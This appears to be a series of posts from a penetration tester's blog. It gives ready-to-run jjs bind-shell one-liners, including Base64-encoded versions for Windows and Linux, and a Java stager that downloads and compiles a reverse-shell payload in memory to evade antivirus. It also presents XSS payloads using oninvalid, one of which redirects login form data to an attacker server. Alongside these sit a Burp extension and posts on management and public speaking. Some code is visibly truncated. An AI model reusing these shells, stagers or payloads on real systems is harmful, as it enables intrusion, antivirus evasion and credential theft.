Java gives a Shell for everything

Did you know that Java has shipped with a JavaScript engine which executes in memory and has been around for years? Well it does and it has. This rambling tale is about how I came about it over two engagements.

Tl;dr – the highlights of this post are:

  • Universal scripting capability via Java Runtime Environment (JRE)
  • Allowing in-memory only payloads
  • Great options for bind and reverse shells
  • For the red team connoisseurs a commonly available living off the land binary for all the above

Initial Discovery

On an engagement at the end of 2017 I was enumerating what I had to play with on a customers Workstation.

As part of build reviews I like to find:

  • Command prompts – cmd.exe, powershell.exe, ftp.exe etc; and
  • Scripting engines – powershell.exe, cscript.exe etc

This is standard practice at the start of enumeration really.

Looking in the “/bin” folder of the Java Runtime Environment (JRE) configured on the workstation I came across “jjs.exe”. This actually turned out to suit both purposes.

Using jjs.exe to get a command prompt on your workstation

Caveat; I am going to assume that binary white listing, and careful setup would neuter the technique. However, my target had none of that so I got to run wild. Lets stick to what I do know.

Double click on “jjs.exe” and you will get a command prompt interface as shown:


This is not terribly friendly because it doesn’t have any help baked in. A little reading around about what jjs is on Oracle’s website pointed out this was a JavaScript prompt. What is better is that it can call Java objects, as per reference [1]. That has an excellent write-up of how to call Java objects.

The following code can be used to achieve a slightly broken command prompt interface through jjs:

var pb = new java.lang.ProcessBuilder("cmd.exe","/k");

Then lets look at what I mean by slightly broken command prompt:


Initially you can see that there is no pass through of commands to “cmd.exe” so you cannot get the hostname. Then after pasting in the code and executing it you can see that every other line of input gets you command execution. Beggars cannot be choosers, this was better than no command prompt at all.

I filed it under a minor point of interest. Within the context of a locked down workstation you might have luck with this where other things have failed. If you get a crumb out of that be sure to ping me on Twitter (@cornerpirate) because I would love to know.

The rest of this post moves into different contexts entirely. An internal pentest where I needed to get a bind shell out of it.

Doing more with jjs.exe

A few months ago I hit a unique set of circumstances on a different engagement. Where we had an outdated version of Weblogic having a known RCE exploit. The network was setup to deny any and all reverse connections back. So a reverse shell was not an option. Add into the mix that *every* node on the network had endpoint protection software, some form of in-line traffic inspection, and you should understand they had done so many of the basics perfectly.

Pretty much every payload we lobbed at this thing didn’t work. We had less than ideal test conditions and had to infer the filtering device from behaviour, and only knew about the endpoint protection from another box.

While we assumed we had “RCE”. There was no detectable way of confirming that any payload was executing. The server lived in an area of the network that could not do external DNS. So using a Burp collaborator trick to force a detectable lookup did not confirm that the RCE even worked. Firing in the blind is hard.

We tried to write JSP webshells but were having difficulty guessing the web root etc.

We fell down trying to get bind shells. Starting with the venerable post from pentestmonkey [2]about reverse shells in various languages. I converted them all into bind shells (a post about that soon) and watched as none of them worked on that target.

Sometimes onsite work is brutal. I drove home feeling like a pretty shitty pentester having failed to get anything out of it.

Then I remembered that this is a WebLogic server so it would have Java installed. The bit of pentestmonkey’s cheat sheet for Java is also not perfect since it clearly relies on compiling Java. To compile Java you need to have the Java Development Kit (JDK) installed which in fairness a WebLogic server probably has.

I came up with two plans for attack the following morning:

  1. Make a one liner using jjs
  2. Consider echoing line by line my Java payload into a /tmp/ file, and then a “javac /tmp/” and finally “java /tmp/exploit”.

The second one seems like it will work too but in the end I didn’t have to do that because option 1 worked.

Java One Liner Using jjs

The jjs shell has a “load” command which loads and executes a file. Your payload can be located on the victim’s hard disk or you can load things over HTTP. I show examples of both below:


There is an obvious quick win if you can get a reverse connection back from your victim. You simply deliver your payload over HTTP and you never touch disk. Obviously in my narrative here I could not use HTTP so I needed to find another solution.

jjs is an interactive command prompt meaning that the user has to be there to send commands via stdin. To do this you can simply use “echo” to print the command you want and simply redirect it into jjs:


Sweet. The example syntax would be this:

echo load("c:\wherever\payload.txt"); | jjs.exe 

That works if you want to stage your payload on disk. In addition to “load” it turned out that jjs supports “eval”. God I love me an “eval”. We will get to that in a minute but first lets see a bind shell:

var port=4444;      // Port to bind on
var cmd='cmd.exe';  // OS command to execute. 
// Bind to port
var serverSocket=new;
// Accept user connection
while(true){ // this while keeps the port bound when client disconnects
var s=serverSocket.accept();
// Redirect stdin, stderr and stdout from process to client.
var p=new java.lang.ProcessBuilder(cmd).redirectErrorStream(true).start();
var pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();var po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(;while( pe.available()>0)so.write(;while(si.available()>0)po.write(;so.flush();po.flush();java.lang.Thread.sleep(50);try {p.exitValue();break;}catch (e){}};p.destroy();s.close();

On Linux simply change “cmd.exe” to “/bin/bash”. The above has comments and extra white space to aid your understanding of it. I then stripped that back to create a one-line payload:

var serverSocket=new;while(true){var s=serverSocket.accept();var p=new java.lang.ProcessBuilder('cmd.exe').redirectErrorStream(true).start();var pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();var po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(;while( pe.available()>0)so.write(;while(si.available()>0)po.write(;so.flush();po.flush();java.lang.Thread.sleep(50);try {p.exitValue();break;}catch (e){}};p.destroy();s.close();}

The above has a lot of characters in there which can be problematic when we use echo to pass our one liner into jjs. Fortunately, Java has a Base64 decoder, so we can just use that. The following syntax shows how this would work with jjs:

echo eval(new java.lang.String(java.util.Base64.decoder.decode('ENCODED_TEXT'))); | jjs

When I tested this, I found that a default install of Java on Linux placed jjs in the user’s path. This means that you can use the above syntax directly.

On Windows the binary is not in the path and even the “JAVA_HOME” environment variable is an optional luxury. To cope with that I figured out the command below:

cd "c:\Program Files\Java\jre1.8.*\bin" && jjs.exe

This works because “cd” accepts wildcards in the path. Then the “&&” executes “jjs.exe” only if the previous command successfully executed. Try the above out on Windows to confirm it works for you. If the system has a version of the JDK and the JRE installed simultaneously you can use a double wildcard as shown below:

cd "c:\Program Files\Java\j*1.8.*\bin" && jjs.exe

It doesn’t matter which version of jjs.exe we get so long as it is part of an install newer than 1.8 which makes the above work. If at first you don’t succeed try “1.9”, or “1.10” for newer versions.

Java Bind Shell One Liner for Windows

Finally, the one-liner that you are looking for as a payload on Windows is:

cd "c:\Program Files\Java\j*1.8.*\bin" && echo eval(new java.lang.String(java.util.Base64.decoder.decode(‘dmFyIHNlcnZlclNvY2tldD1uZXcgamF2YS5uZXQuU2VydmVyU29ja2V0KDQ0NDQpO3doaWxlKHRydWUpe3ZhciBzPXNlcnZlclNvY2tldC5hY2NlcHQoKTt2YXIgcD1uZXcgamF2YS5sYW5nLlByb2Nlc3NCdWlsZGVyKCdjbWQuZXhlJykucmVkaXJlY3RFcnJvclN0cmVhbSh0cnVlKS5zdGFydCgpO3ZhciBwaT1wLmdldElucHV0U3RyZWFtKCkscGU9cC5nZXRFcnJvclN0cmVhbSgpLCBzaT1zLmdldElucHV0U3RyZWFtKCk7dmFyIHBvPXAuZ2V0T3V0cHV0U3RyZWFtKCksc289cy5nZXRPdXRwdXRTdHJlYW0oKTt3aGlsZSghcy5pc0Nsb3NlZCgpKXt3aGlsZShwaS5hdmFpbGFibGUoKT4wKXNvLndyaXRlKHBpLnJlYWQoKSk7d2hpbGUoIHBlLmF2YWlsYWJsZSgpPjApc28ud3JpdGUocGUucmVhZCgpKTt3aGlsZShzaS5hdmFpbGFibGUoKT4wKXBvLndyaXRlKHNpLnJlYWQoKSk7c28uZmx1c2goKTtwby5mbHVzaCgpO2phdmEubGFuZy5UaHJlYWQuc2xlZXAoNTApO3RyeSB7cC5leGl0VmFsdWUoKTticmVhazt9Y2F0Y2ggKGUpe319O3AuZGVzdHJveSgpO3MuY2xvc2UoKTt9’))); | jjs.exe

What a long-winded way of getting around to a one liner but awesome fun figuring that out.

Java Bind Shell One Liner for Linux

Here is the equivalent if you want to do the same on Linux/Unix:

echo "eval(new java.lang.String(java.util.Base64.decoder.decode('dmFyIHNlcnZlclNvY2tldD1uZXcgamF2YS5uZXQuU2VydmVyU29ja2V0KDQ0NDQpO3doaWxlKHRydWUpe3ZhciBzPXNlcnZlclNvY2tldC5hY2NlcHQoKTt2YXIgcD1uZXcgamF2YS5sYW5nLlByb2Nlc3NCdWlsZGVyKCcvYmluL2Jhc2gnKS5yZWRpcmVjdEVycm9yU3RyZWFtKHRydWUpLnN0YXJ0KCk7dmFyIHBpPXAuZ2V0SW5wdXRTdHJlYW0oKSxwZT1wLmdldEVycm9yU3RyZWFtKCksIHNpPXMuZ2V0SW5wdXRTdHJlYW0oKTt2YXIgcG89cC5nZXRPdXRwdXRTdHJlYW0oKSxzbz1zLmdldE91dHB1dFN0cmVhbSgpO3doaWxlKCFzLmlzQ2xvc2VkKCkpe3doaWxlKHBpLmF2YWlsYWJsZSgpPjApc28ud3JpdGUocGkucmVhZCgpKTt3aGlsZSggcGUuYXZhaWxhYmxlKCk+MClzby53cml0ZShwZS5yZWFkKCkpO3doaWxlKHNpLmF2YWlsYWJsZSgpPjApcG8ud3JpdGUoc2kucmVhZCgpKTtzby5mbHVzaCgpO3BvLmZsdXNoKCk7amF2YS5sYW5nLlRocmVhZC5zbGVlcCg1MCk7dHJ5IHtwLmV4aXRWYWx1ZSgpO2JyZWFrO31jYXRjaCAoZSl7fX07cC5kZXN0cm95KCk7cy5jbG9zZSgpO30=')));" | jjs

Notice the double-quotes around the string which the Windows payload didn’t need? For those with eagle eyes (and a set of Base64 decoding goggles), the encoded string was modified to set the command to “/bin/bash”.

This was the one which worked for me on the customer engagement.

Using it with metasploit

Finally, if you want to use the same techniques via Metasploit it works with “generic\shell” payload. Provide the relevant one-liner as the value of the “PAYLOADSTR” being careful to escape all: double-quotes, single-quotes and backslashes by prefixing with a backslash.

If in doubt look at the value when using “show options” as that displays the final form that will be executed on the target. If your quotes or slashes are missing then escape harder!


I was rather happy with my shiny shell so I was going to get this blog post out. Then I had that thought which triggers doubt in every security researcher. Has someone got here before me? Turns out that yes someone had.

Take a bow Brett Hawkins. At the time I was doing my root dance he had posted reference [3]. Which covers things brilliantly.

However, he is using “jrunscript” instead of jjs. His post came out between me finding jjs on the first job and then getting the good shit on the second job. Seems that the theory of Multiple Discovery holds true again 😀

Brett has followed up his first post with another one at reference [4]. Loving his work.

Making it more dangerous

Why have I bothered posting my research when Brett has pretty much nailed it? A simple list of them:

  • He has blogged about “jrunscript” which I have omitted from this post precisely because he covered it.
  • His posts are applicable only when the victim is running JDK. This is not the most common form of Java. The bulk will have JRE installed.
  • Therefore the things I have listed above I would argue are much more dangerous. They will affect ANYTHING which is running Java.

Of course to trigger any of this you need to have command execution on the victim’s computer. The reason I am being so open here is that this is a commonly available scripting engine which can be integrated into various things. It is not a zero day exploit which will get anyone in to anything.

What you can do is establish bind and reverse TCP shells in a new language where the payloads are pretty universal. You can re-implement some of the amazing PowerShell libraries in Java and have another option which might go undetected.

If the trick in Red Teaming is currently to go living off the land (see reference [5]. What this gives people is another string to go plucking.





Java-Stager – Hide from AV in Memory

== Update 08/08/2018 ==
The day after I posted it was Glasgow Defcon. I found a spare 30 minutes to make some slides so I did a lightning talk. I know lots of people like to have slides when slides exist so here they are:

Though personally I think the blog post is going to help more but yea.


== Original Article ==

I work with some very talented people. I also work with James Williams (a joke, precisely the sort of self deprecation he engages in). He should know that I think he is amazingly capable. At SteelCon 2018 he dropped a lightning talk as below:

Next Gen AV vs my shitty code – by James Williams

In it he showed how he gets past various anti-virus solutions by using .Net. To summarise the technique it:

  • Needs a “stager” which can download code into memory
  • A means of compiling that source (also in memory)
  • Then a way to execute that code

The key part from James about the process is: “(the) Stager has to touch disk, the payload does not”. There is nothing malicious about the stager so it essentially gets a free pass from all AV solutions that he tested. Then because the process works entirely in memory there is “hee-haw” (to use a wonderful Scottish phrase) chance of detection at the moment.

I really liked the talk. I especially noticed his challenge that “these are transferable tricks and should work in Java”. Since I like hacking with Java I got stuck in and tried it out. This post discusses the 3 steps of the technique and provides an example payload.

The full code for both the Stager and the payload is available from my GitHub page here:

The rest of this post summarises in English how the things fit together.

I am not a malware expert. I am not a ninja at avoiding anti-virus. Wherever I need to avoid AV I just write my own payload and it seems to work quite well so far. If you want to stay hidden you basically need to implement your own tools. Hopefully my stumbling steps here are of use to someone.

Downloading a page over HTTP using Java

This first code snippet shows the code used to open a connection to a URL and then save the HTTP response body into a StringBuffer:



// URL for java code
URL payloadServer = new URL(u);

URLConnection yc = payloadServer.openConnection();
BufferedReader in = new BufferedReader(new InputStreamReader(

// Download code into memory
String inputLine;
StringBuffer payloadCode = new StringBuffer();
while ((inputLine = in.readLine()) != null) {
   payloadCode.append(inputLine + "\n");
System.out.println("[*] Downloaded payload");

Nothing crazy here really. But I sometimes need to find this code quickly so felt it necessary to stick it in here prominently. The StringBuffer is not written to disk which matches what James does in .net.

James went further and used encryption to obfuscate his payload. My PoC is not that advanced but could be modified to decrypt the payload too.

Compiling Java in Memory

I went looking for a way to compile Java in memory. I initially made a proof of concept using this GitHub repo:

It totally worked and did what it said on the tin. The problem came when seeking to run the Stager on a victim. Lots of computers have a Java Runtime Environment (JRE) meaning that they can execute Java bytecode. Typically only Developer workstations and Servers have the Java Development Kit (JDK) installed. InMemoryJavaCompiler requires the victim to have JDK installed or it fails to work. The following shows the error when the JDK is not installed on the victim:


The “NullPointerException” is not very descriptive but it meant that Javac was not available.

If you get here by Google and want to know how to compile in memory without JDK installed then here are your options:

  1. Official Java Way – Obtain a copy of “tools.jar” from the JDK/lib folder and place it in the JRE/lib folder. This is not an ideal solution because the license from Oracle on Java makes it technically illegal to do this. Note: that simply including “tools.jar” into the classpath of your running application does not work (despite many StackOverflow posts saying it does, it certainly doesn’t work in 2018). This also means that the victim must have admin privileges so that they can alter the contents of the “c:\Program Files\Java\” directory structure. It felt fake when doing this.
  2. Finding a 3rd Party Compiler – Several projects have created their own implementation of Javac. These are open source with less restrictive licenses. After a bit of research the best option was “Janino“. At 780kb this was way smaller than “tools.jar”. It worked by being in the classpath so also didn’t need special privileges from the victim.

In the end Janino won the battle for the reasons above. I altered the PoC to fully operate that way.

Want to know how to compile a String into Java Bytecode in memory? Here is the code to do that:

import org.codehaus.janino.*;


// Compile it using Janino
System.out.println("[*] Compiling ....");
SimpleCompiler compiler = new SimpleCompiler();
compiler.cook(new StringReader(payloadCode.toString()));
Class compiled = compiler.getClassLoader().loadClass("Payload") ;

Again nothing too scary here. The “SimpleCompiler” class does what it says giving you a simple API for compiling files and strings into Bytecode. In this case Janino rather charmingly calls the compilation method “cook” (awwwww guys!).

The loadClass method takes a String argument which is set to “Payload”. This is the class name and file name of the payload which is listed later. If you are downloading over HTTP my testing showed that the filename mattered. When giving a URL it must download “http://attackerhost/”. Whatever your payload file is called on disk must match the class name or compilation will fail.

Using Reflection to execute Java Bytecode in Memory

By the end of the previous snippet we have access to our Bytecode via the “compiled” object. Now all we need to do is execute the “Run” method of the Payload class and we can go home. The following shows how to do that:

import java.lang.reflect.Method;


// Execute "Run" method using reflection
System.out.println("[*] Executing ....");
Method runMeth = compiled.getMethod("Run");
// This form of invoke works when "Run" is static
System.out.println("[*] Payload, payloading ....");

We are about to say method a lot. Deep breaths everyone… Use the “getMethod” method to get the Method. Then use the “invoke” method to invoke the method that you got!

To be consistent with the naming scheme used by James I have called my method “Run” with a capital “R”. Which isn’t very Java of me. I can sense a few veins pulsing and throbbing on foreheads at the very notion of pissing about with the case of a method name in Java.

The “invoke(null)” works because the “Run” method has the following declaration:

public static void Run() { ; }

Since it is static and because it has no arguments we get away with just passing “null”. There is a dark art to invoking methods with actual arguments which I did not need to figure out for my reverse shell payload (included later in this post).

My Java Stager

The full code is available here:

We have already discussed all of the important bits relevant to the techniques in the three snippets. In addition to those, it has some basic usage baked in to make it less scary to use:

// Check how many arguments were passed in
if (args.length != 1) {
   System.out.println("Proper Usage is: java -jar JavaStager-0.1-initial.jar ");

If you call the Stager without any input parameters it will bomb out and explain that you need to provide a URL.

The URL you use should point to a Java payload. Obviously I am not making malware for a living (I would not be any good at it). I suspect you would want to hard-code the URL rather than require user interaction but I am not here to make something malicious.

My Java Payload

The full source code for the example payload is available here:

It includes a basic TCP reverse shell aimed at a Windows victim. The eagle eyed will notice the file in the GitHub repository is not called “”. This is not going to work if you use it without modification. The following shows the full listing for the Payload class which will work:

public class Payload {

     * This method is called when the payload is compiled and executed. I am
     * showing a reverse shell here for Windows.
    public static void Run() {

        try {

            // IP address or hostname of attacker
            String attacker = "SETME"; 
            int port = 8044;
            // For a windows target do this. For linux "/bin/bash"
            String cmd = "cmd.exe";
            // The rest creates a new process
            // Establishes a socket to the attacker
            // Then redirects the stdin, stdout and stderr to the port.
            Process p = new ProcessBuilder(cmd).redirectErrorStream(true).start();
            Socket s = new Socket(attacker, port);
            InputStream pi = p.getInputStream(), pe = p.getErrorStream(), si = s.getInputStream();
            OutputStream po = p.getOutputStream(), so = s.getOutputStream();
            // read all input and output forever.
            while (!s.isClosed()) {
                while (pi.available() > 0) {
                while (pe.available() > 0) {
                while (si.available() > 0) {
                try {
                } catch (Exception e) {
        } catch (Exception ex) {
            // Ignore errors as we are doing naughty things anyway.


Just set the attacker’s IP and port number appropriately and you are away with the above saved into “”.

The reason for using a different filename in the repository is to prevent class name clashing when the Payload is actually compiled. The Readme and heading comments for the template in GitHub both explain the changes you need to make so I will not repeat it a 3rd time here.

Lets all look at a shell!

Because why not? PoC the PoC or gtfo isn’t it? Here is < 60 seconds of waffling to show how it works:

For ease the key parts of the video are. Start your listeners on the attacker's machine:


Upload the Stager and libs folder to the victim and then execute using this syntax:

java -jar JavaStager-0.1-initial.jar http://attackerip/

If you have set your file up correctly then you will have a wizzy new shell:


I have to admit this was fun. Thanks for the inspiration James!

Grep Extractor a Burp Extender

Burp Suite’s “Intruder” is one of my favourite features. It automates various parts of my job for me by repeating a baseline request with minor variations. You can then check out how a target responded. Unlike the “Reapeater” you get a nice table of results and at a glance can find things with different response codes. Basically Intruder is brilliant.

Intruder has a feature called Grep Extract which allows you to find content within HTTP Responses and then extract the values. You might want to do this if you are enumerating users by an ID and you want to extract the email addresses for example.

I looked but could not find the same functionality via the Proxy History so I made a simple Extender to add that functionality. This blog post covers:

  • Basic Usage of Grep Extract – showing how to use Grep Extract within Intruder. Why not show the inspiration?
  • Grep Extractor – showing the code and how to use it.

This extender is designed to have the code altered by you when you want to extract something. It has never been easier for you to get your hands dirty and get a new Extender that does something useful!

Basic Usage of Grep Extract

When you are inspecting the results of an intruder attack you can use the “options” tab and “Grep – Extract” down at the bottom to extract data from a response. Here is what the options look like:


Click on “Add” to bring up the screen below where you can simply highlight the part you want to extract:


In this case the response page has a Credit Card number so I highlighted that part. When you apply that the Intruder results table will update to include a new column with the extracted data:


You can export the results to a CSV file via that “Save” menu. This is all very well and good when you are using Intruder.

Grep Extractor

You have seen how Burp provides this feature within Intruder. It uses a nice GUI approach which we are not replicating at all. The following shows the source code for Grep Extractor:

#burp imports
from burp import IBurpExtender
from burp import IBurpExtenderCallbacks
from burp import IExtensionHelpers
from burp import IContextMenuFactory
from burp import IContextMenuInvocation
import re

# java imports
from javax.swing import JMenuItem
import threading

class BurpExtender(IBurpExtender, IContextMenuFactory):

   def registerExtenderCallbacks(self, callbacks):
      self.callbacks = callbacks
      self.helpers = callbacks.getHelpers()
      self.callbacks.setExtensionName("Grep Extractor")

   def createMenuItems(self, invocation):
      menu_list = []
      menu_list.append(JMenuItem("Grep Extractor", None, actionPerformed= lambda x, inv=invocation:self.startThreaded(self.grep_extract,inv)))
      return menu_list

   def startThreaded(self, func, *args):
      th = threading.Thread(target=func,args=args)

   def grep_extract(self, invocation):
      http_traffic = invocation.getSelectedMessages()
      count = 0
      for traffic in http_traffic:
         count = count + 1

         if traffic.getResponse() != None:
            # if the string is in the request or response
            req = traffic.getRequest().tostring() 
            res = traffic.getResponse().tostring()

            # start is the string immediately before the bit you want to extract
            # end is the string immediately after the bit you want to extract
            start = "" 
            end   = ""

            # example parsing response. Change res to req if data is in request.

            i = 0
            for line in res.split('\n'):
               if start in line:
                  # extract the string
                  extracted = line[line.find(start)+len(start):]
                  extracted  = extracted [0:extracted .find(end)]
                  # print exracted string, visible in Burp
                  print extracted 

Nothing too scary in there and the comments should help you out. Lets give one simple example of how to use it. Lets say the site you are targeting has the “X-Powered-By” header. Was that consistent across all responses or did it alter at any point? Perhaps some folder is redirecting to a different backend system and you didn’t notice.

Modify the start and end strings as shown below:

start = "X-Powered-By:" 
end   = "\n"

Any data between “X-Powered-By:” and the next newline character will be printed out. Save your code and then reload the Extender within Burp. At this point you can right click on one or more entries in the proxy history and send to Grep Extractor via the option shown below:


Any “print” commands issued from the Extender will goto the output for the extender. This is visible on the following menu:

Extender -> Select “Grep Extractor” -> Select “Output” tab.

The following shows output from the proxy history with our target:


It looks like the target site is consistent with it’s “X-Powered-By” headers. Well we struck out there but hopefully you can see the benefits of getting dirty and dipping your toes in the ocean of Burp Extenders. With relatively little coding knowledge you can get powerful results from Grep Extractor.

Example X-CSRF-Token

This example shows how to markup each request which did NOT include the HTTP header “X-CSRF-Token”:

   def grep_extract(self, invocation):
      http_traffic = invocation.getSelectedMessages()
      count = 0
      for traffic in http_traffic:
         count = count + 1

         if traffic.getResponse() != None:
            # if the string is in the request or response
            req = traffic.getRequest().tostring() 
            if req.find("X-CSRF-Token:")== -1:
                traffic.setComment("Request without X-CSRF-Token header")

This uses the “setComment” and “setHighlight” methods as documented at the following URL:

Instead of logging information to the stdout this will update all requests within proxy visibly with a pink background and a useful comment. This does not alter any pre-existing highlights or comments (at least when I tested it).

By reviewing the proxy history I discovered the token was consistently set for everything apart from the login form. There was no impact but it helped me get to this answer quickly.

Example Set-Cookie

This example shows how to print out every “Set-Cookie” directive in the selected responses:

   def grep_extract(self, invocation):
      http_traffic = invocation.getSelectedMessages()
      count = 0
      for traffic in http_traffic:
         count = count + 1

         if traffic.getResponse() != None:
            # if the string is in the request or response
            req = traffic.getRequest().tostring() 
            res = traffic.getResponse().tostring()

            start = "Set-Cookie:"
            end = "\n"

            for line in res.split("\n"):
               if line.find(start) !=-1:
                  line = line.strip()
                  print line

I needed to do this when conducting a re-test of an application which had certain cookies set without “httpOnly” and others without “secure” flags. By printing the full “Set-Cookie” directive I even visually caught a few anomalies where rare cases resulted in “secure; secure;”. Most likely the result of the framework and then reverse proxy ensuring the flag was set. It only affected one folder.

Vulnerable Test Site

The data shown in the proxy logs all comes from browsing the vulnerable website from Acunetix available below:

This was just to populate my Burp history with a few requests and responses.

Hope that helps,

XSS using HTML 5 Event Handlers

I recently had some luck using HTML 5 event handlers to exploit XSS. This post includes some of the outcomes and a bit of how to replicate the steps using Burp Suite’s Intruder using some wordlists stuck at the end of this post.

The target had attempted to use blacklisting to prevent dangerous tags and event handler combinations. So things like “onload” and “onerror” were rejected when they were within the context of an HTML tags. So you would see this behaviour:

Probe Response
onerror String on own is not a threat. Filter allows it
<img src=x onerror=”alert(1);”/> String is inside a tag. Filter blocks it

Crucially the target was doing nothing to block or encode individual characters so we had the full range listed below:

  • <
  • >
  • =
  • ;
  • white-space

Not encoding these characters pretty much guarantees XSS will be exploitable.

Relying on a pure blacklist approach is a poor defence which is why it was bypassed with a bit of elbow grease.

Injecting when angle brackets are possible

If your target allows angle brackets you can create a new HTML tag and then use my new friend the HTML 5 “oninvalid” event handler as shown below:

"><input style="visibility: hidden" oninvalid="alert(1)" required><a="

This is interesting because:

  1. It introduces a new input tag.
  2. By setting the id to “a” we can use getElementById(“a”) in payloads (see next section)
  3. Then it makes that invisible using the style attribute.
  4. It uses my new buddy “oninvalid” to contain the JavaScript to execute.
  5. Ending with “required” which means when a form is submitted if this field is empty the event handler will trigger.

The “oninvalid” event handler is enabled in all modern web browsers so this has a nice cross browser support.

Payloads with user interaction are usually not so good.  While other event handlers like “oncontextmenu” worked, the user would have to right click on the injected area. Even after making something cover the whole page why would they right click? This is why I really like “oninvalid” because it is natural to actually submit a web form when the user is presented with one. Particularly considering the fact I was injecting into a Login page.

Example Payload to snoop on a form

I created a payload which would redirect form data to an attacker’s HTTP server. For readability this has been split into three lines as shown below:


First it alters the value of our injected parameter so that the form will then submit.

Then it alters the action to our web server. To avoid mixed content warnings it is most likely that you will need to start an HTTPS listener. If yours has a valid certificate then all the better.

Finally it changes the method to GET so the form details are now in a URL for the server logs. This is not strictly necessary as you could create a route to log details over HTTP POST. As I am not actually a bad guy my PoC is enough at this point.

Injecting when angle brackets are NOT possible

If the target denies angled brackets you cannot create a new input tag. If your probes land inside an “<input>” tag (as mine actually did) I was able to refine the exploit. Our friend “oninvalid” can use regular expressions to validate input specified by a “pattern”. You can make that pattern always fail to then intercept form data.

The following shows the probe which would work for that:

" oninvalid="alert(1)" pattern=".{6,}"

So long as the user input does not match the pattern your alert message will popup when the form is displayed.

Mileage varies with this one. I was injecting into an input of type “hidden” which did not honour the oninvalid (for good reason). But when the type is “text” it worked. All of this tested in Firefox only.

Enumerating the Defences

As I cannot disclose what I was probing in this case, lets say that the vulnerable parameter was called “xssparam”. So I was injecting into something like this:


When I set the value of “xssparam” the application did one of two things:

  1. IF the value included a blocked term (i.e. “onerror”) then the entire parameter was rejected. The response page did not include any part of the “xssparam” value.
  2. IF the value included no blocked terms then the entire contents of “xssparam” was returned in the HTML response page.

This means that the target was blocking unsafe input. This is a better approach than trying to sanitise input (strip the bad stuff, and return ‘safe’ data) which usually just adds in more headaches. So that is something at least.

The problem with pure blacklists is simply an arms race against the filter where you try to locate HTML tags and event handlers which are not blocked. The next section explains how to use Burp’s Intruder to do this.

Using Intruder to Locate Weaknesses

Having enumerated the defences my favourite approach in this case is to use Burp’s intruder to find tags and probes which are allowed. To do this you would follow this process:

  1. Send the baseline request to intruder.
  2. Find the location of the injection point and mark it up.
    1. In this case login.php?xssparam=XSS1%20<INJECT_HERE>%20XSS2
    2. By using “XSS1” and “XSS2” we have an easy way to find our probes in the HTTP response.
  3. Create a txt file of probes to try. In this case I have used a list of HTML tag names and HTML event handlers which are provided at the end of this post.
  4. Load those probes
  5. Configure a “grep extract” to locate the probe in the response and extract it as shown below:


When you run the intruder process your grep extract will list words which are not blocked by the filter:


In this case my process found that all HTML 5 event handlers worked in a raw probe. While the list of HTML tags was limited (but not shown). The final probe listed at the start of this was generated after discovering that the “input” tag and “oninvalid” were permitted past the filter. Hey, nobody said it was a GOOD filter!

Hopefully you now know how to use Burp’s Intruder to go manually hunting for XSS. Which is the point of this post.

List of HTML 5 Tags

This list was taken from the list here:

For ease you can copy, paste and save this:

h1 to h6

List of HTML 5 Event Handlers

This list was taken from the list here:

For ease you can copy, paste and save this:


Exit Interview

I failed upwards into management a few years ago. This means that I effectively opened an office for my employer and was responsible for finding, evaluating, recruiting, onboarding and generally looking after a team in Glasgow. This has been a privilege and for the most part the last two years has been a riot.

We build a pretty tight ship of overlapping skills with enough diversity in our thoughts to make things entertaining. It is to be expected that folks who join the crew set sail themselves to explore new shores someday. That doesn’t make it any easier when you effectively think of them as friends first.

Today is the last day for one of the original deck hands who is leaving for the best of reasons. What I know is that they are properly prepared for whatever is coming both personally and professionally. They will rock it out somewhere else.

I am learning there is a difference between intellectually knowing that there will be staff turnover, and experiencing it first hand a few times. Nobody said management was ever fun.

Reckon I am a bit like a parent waving their kid off to Uni and knowing that it is actually a good thing for them.

We will miss the enthusiasm and abilities day-to-day. But forever I will be up in your life so don’t you worry about that.

Let’s Talk: Learning by Speaking

I did a talk “Hacking with Git” at BSides Glasgow. This was the first time I put myself out there to do a talk at a grown up event. Stop holding yourselves back! Learn, share and enjoy folks. You don’t have to become a public speaker. Blog, make youtube videos, stick a tool out there. Even if you only solve a problem that you have, you solved one of your problems.

This blog is about the things I learned along the way some of which might help you if you decide to go for something similar.

Here is a list of things that I learned or improved my abilities in during the process:

  • Using PowerPoint – I am god mode in the office suite (not a cool brag, but a brag there). I do not count PowerPoint when I say that. It is by far (for me) the worst bit of office. Bits of it are just plain inconsistent with how word and excel do things.
  • Recording videos of my desktop screen – I had tried this before. I definitely got better.
  • Video editing – I have never done this before.
  • New Python modules: CMD2, GIN, tqdm – I am so average at python. But I try and have made a few scripts in my time. These modules helped me and I am totally in love with CMD2. I plan to cover these things when I release the tools later. I have an ode to CMD2 at the end of the work blog here.
  • Preparing a talk for a limited time slot – I am pretty sloppy in my timing of tasks in general. I frequently talk to people so long that they are knackered and I am knackered. I am working on it 😀

Doing something beyond your current skill set is great. Not before it happens. Not during the moments of doubt. But now. Looking back at it I have nothing but positive feelings about it.

Hopefully the thoughts below help someone else add their voice to whatever event.

The Journey

After submitting the talk I went through a cycle of doubt. I avoided it. I procrastinated hard. Rather than making the slides for “Hacking with Git” I literally made a talk about procrastinating and delivered it at the local Defcon meetup DC44141.

Sorry to anyone who turned up for a real talk who saw “Professional Procrastinator”. I literally decided to do the talk about 8am on the day. Doing that was catharsis. It earned me confidence that I could just go talk rubbish for a while and the sky didn’t fall.

That talk ended with me nervously standing while this played:

A friend had asked me to put words to the Quincy theme in the days before Defcon. Instead of recording the demo videos for “hacking with git” I made this ^^^. While I was clearly procrastinating, I did learn some serious skills:

  • VLC
    • Can strip an audio track.
    • You can then replace that audio track.

Other things you can do with VLC that I learned recently is that you can convert video files from one format to another. It is really the “Swiss army knife” of video and audio conversion and there was me thinking it just played videos.

Appease the “Demo Gods”

If you have made a tool or you have a technique to talk about then you are going to need to demonstrate it. PoC or piss off right? A technical talk needs a demo. Ask the organisers if they have a reliable network for your needs.

Live hacking something takes some guts and you need more if it needs the Internet.

Even if you can demo something live consider what happens if it all goes to shit on the day. I suggest you record a video where it worked fine. You then only have to worry about this: does the venue have speakers?

Having offset the fear of the demo gods by deciding early that I had to make videos, I relocated my fear onto the venue not having a sound system. Turns out they did, turns out it was all fine.

Desktop Recording Software

I have dabbled with recording my desktop a few times. I had used “Screen Recorder” in the past on Windows. While it works, your options for free are minimal and you are limited to 5 minutes. This is literally why most videos I made before are < 5 minutes long.

